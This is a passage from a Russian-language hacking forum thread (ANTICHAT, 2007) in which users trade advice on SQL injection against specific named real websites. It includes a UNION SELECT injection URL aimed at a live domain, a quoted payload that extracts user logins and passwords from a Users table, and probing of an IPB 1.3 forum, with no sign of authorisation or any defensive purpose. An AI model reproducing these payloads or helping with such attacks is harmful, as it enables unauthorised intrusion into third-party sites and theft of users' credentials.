HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #351  
Старый 26.11.2007, 18:54
SVAROG
Постоянный
Регистрация: 13.02.2007
Сообщений: 406
С нами: 10126406

Репутация: 206
По умолчанию

http://www.pp-pss.ru/main.php?ID=-1
помогите пожалуйста со скулем перебрал до 41 поля
http://www.pp-pss.ru/main.php?ID=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41/*
замучился может по другому как то надо
 
Ответить с цитированием

  #352  
Старый 26.11.2007, 18:55
delay(0)
Участник форума
Регистрация: 22.11.2006
Сообщений: 117
С нами: 10246130

Репутация: 141
По умолчанию

Цитата:
Сообщение от Scipio  
Код:
asp?id=1+or+1=(SELECT+TOP+1+UserLogin%2bCHAR(58)%2bUserPassword+from+Users)--
ну как то так
Мимо, проверяй пм.
 
Ответить с цитированием

  #353  
Старый 26.11.2007, 19:01
sedoy_xxx
Участник форума
Регистрация: 05.07.2006
Сообщений: 285
С нами: 10447586

Репутация: 117
По умолчанию

Цитата:
Сообщение от SVAROG  
http://www.pp-pss.ru/main.php?ID=-1
помогите пожалуйста со скулем перебрал до 41 поля
http://www.pp-pss.ru/main.php?ID=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41/*
замучился может по другому как то надо
Он же не ругается да different column а тупо выводит твой запрос. Эдак до потери пульса можно подбирать =) Смотри что там фильтруется и меняй запрос.
 
Ответить с цитированием

  #354  
Старый 27.11.2007, 13:46
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами: 10516826

Репутация: 3742


По умолчанию

http://www.pp-pss.ru/main.php?ID=

1 колонка. без вывода. если мускул выше 4.0.* то возможен посимвольный перебор//

но тут 4.0.*. .поэтому он невозможен)
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #355  
Старый 27.11.2007, 16:23
YaNeLam
Новичок
Регистрация: 23.10.2007
Сообщений: 28
С нами: 9763159

Репутация: 19
По умолчанию

Если в ссылке на Личное письмо в IPB 1.3 подставить в конце ' , то вместо
Цитата:
Обнаружена ошибка: Такого сообщения не существует
Напишет вот что :
Цитата:
Обнаружена ошибка:
.Просто пустой текст.Что это может быть?
Также если по той же самой ссылке поставить '; -- то выдаст пустой текст ошибки.
 
Ответить с цитированием

  #356  
Старый 27.11.2007, 17:13
[aywo]
Познающий
Регистрация: 01.02.2007
Сообщений: 89
С нами: 10143707

Репутация: 114
По умолчанию

Цитата:
Что это может быть?
ИМХО: ничего!
инъекта там нет
 
Ответить с цитированием

  #357  
Старый 27.11.2007, 17:19
YaNeLam
Новичок
Регистрация: 23.10.2007
Сообщений: 28
С нами: 9763159

Репутация: 19
По умолчанию

[aywo]
А там вообще чего есть?
 
Ответить с цитированием

  #358  
Старый 27.11.2007, 17:45
[aywo]
Познающий
Регистрация: 01.02.2007
Сообщений: 89
С нами: 10143707

Репутация: 114
По умолчанию

2YaNeLam что ты имеешь ввиду?
 
Ответить с цитированием

  #359  
Старый 27.11.2007, 22:21
YaNeLam
Новичок
Регистрация: 23.10.2007
Сообщений: 28
С нами: 9763159

Репутация: 19
По умолчанию

ну там вообще на Ipb 1.3 патченом есть Sql?
 
Ответить с цитированием

  #360  
Старый 27.11.2007, 22:24
[aywo]
Познающий
Регистрация: 01.02.2007
Сообщений: 89
С нами: 10143707

Репутация: 114
По умолчанию

тебе сюда _https://forum.antichat.ru/thread15678.html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.